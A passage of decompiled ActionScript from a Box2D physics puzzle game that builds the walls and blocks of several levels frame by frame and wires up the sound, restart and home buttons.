mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 14;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
gro11 = new b2BodyDef();
gro11.position.Set((gro11_cl.x / 30), (gro11_cl.y / 30));
gro11.userData = gro11_cl;
gro11_sh = new b2PolygonDef();
gro11_sh.SetAsBox(((gro11_cl.width / 2) / 30), ((gro11_cl.height / 2) / 30));
gro11_def = world.CreateBody(gro11);
gro11_def.CreateShape(gro11_sh);
gro11_def.SetMassFromShapes();
gro11_sh.density = 1;
gro12 = new b2BodyDef();
gro12.position.Set((gro12_cl.x / 30), (gro12_cl.y / 30));
gro12.userData = gro12_cl;
gro12_sh = new b2PolygonDef();
gro12_sh.SetAsBox(((gro12_cl.width / 2) / 30), ((gro12_cl.height / 2) / 30));
gro12_def = world.CreateBody(gro12);
gro12_def.CreateShape(gro12_sh);
gro12_def.SetMassFromShapes();
gro12_sh.density = 1;
i = 1;
while (i <= 12) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 1;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 1;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 1;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 1;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 1;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 1;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 1;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 1;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 1;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
dim15_def = new b2BodyDef();
dim15_sh = new b2PolygonDef();
dim15_def.position.Set((dim15_cl.x / 30), (dim15_cl.y / 30));
dim15_sh.SetAsBox(((dim15_cl.width / 2) / 30), ((dim15_cl.height / 2) / 30));
dim15_def.userData = dim15_cl;
dim15_sh.density = 12;
dim15_sh.friction = 1;
dim15_sh.restitution = 0.1;
dim15 = world.CreateBody(dim15_def);
dim15.CreateShape(dim15_sh);
dim15.SetMassFromShapes();
dim16_def = new b2BodyDef();
dim16_sh = new b2PolygonDef();
dim16_def.position.Set((dim16_cl.x / 30), (dim16_cl.y / 30));
dim16_sh.SetAsBox(((dim16_cl.width / 2) / 30), ((dim16_cl.height / 2) / 30));
dim16_def.userData = dim16_cl;
dim16_sh.density = 1;
dim16_sh.friction = 1;
dim16_sh.restitution = 0.1;
dim16 = world.CreateBody(dim16_def);
dim16.CreateShape(dim16_sh);
dim16.SetMassFromShapes();
dim17_def = new b2BodyDef();
dim17_sh = new b2PolygonDef();
dim17_def.position.Set((dim17_cl.x / 30), (dim17_cl.y / 30));
dim17_sh.SetAsBox(((dim17_cl.width / 2) / 30), ((dim17_cl.height / 2) / 30));
dim17_def.userData = dim17_cl;
dim17_sh.density = 12;
dim17_sh.friction = 1;
dim17_sh.restitution = 0.1;
dim17 = world.CreateBody(dim17_def);
dim17.CreateShape(dim17_sh);
dim17.SetMassFromShapes();
dim18_def = new b2BodyDef();
dim18_sh = new b2PolygonDef();
dim18_def.position.Set((dim18_cl.x / 30), (dim18_cl.y / 30));
dim18_sh.SetAsBox(((dim18_cl.width / 2) / 30), ((dim18_cl.height / 2) / 30));
dim18_def.userData = dim18_cl;
dim18_sh.density = 12;
dim18_sh.friction = 1;
dim18_sh.restitution = 0.1;
dim18 = world.CreateBody(dim18_def);
dim18.CreateShape(dim18_sh);
dim18.SetMassFromShapes();
dim19_def = new b2BodyDef();
dim19_sh = new b2PolygonDef();
dim19_def.position.Set((dim19_cl.x / 30), (dim19_cl.y / 30));
dim19_sh.SetAsBox(((dim19_cl.width / 2) / 30), ((dim19_cl.height / 2) / 30));
dim19_def.userData = dim19_cl;
dim19_sh.density = 12;
dim19_sh.friction = 1;
dim19_sh.restitution = 0.1;
dim19 = world.CreateBody(dim19_def);
dim19.CreateShape(dim19_sh);
dim19.SetMassFromShapes();
dim20_def = new b2BodyDef();
dim20_sh = new b2PolygonDef();
dim20_def.position.Set((dim20_cl.x / 30), (dim20_cl.y / 30));
dim20_sh.SetAsBox(((dim20_cl.width / 2) / 30), ((dim20_cl.height / 2) / 30));
dim20_def.userData = dim20_cl;
dim20_sh.density = 12;
dim20_sh.friction = 1;
dim20_sh.restitution = 0.1;
dim20 = world.CreateBody(dim20_def);
dim20.CreateShape(dim20_sh);
dim20.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
function frame27(){
cel = 4;
kol_cel = cel;
kol_hero = 2;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 203;
pos_hero_y = 251;
i = 1;
while (i <= 9) {
mas_balka.push(i);
mas_balka_giz.push(50);
i++;
};
locations = 7;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
i = 1;
while (i <= 10) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 1;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 1;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 1;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 1;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
addEventListener(Event.ENTER_FRAME, game_f2);
}
function frame39(){
cel = 3;
kol_cel = cel;
kol_hero = 16;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 110;
pos_hero_y = 136;
i = 1;
while (i <= 43) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 19;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
i = 1;
while (i <= 7) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 10;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 10;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 10;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 10;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 1;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 10;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 1;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 1;
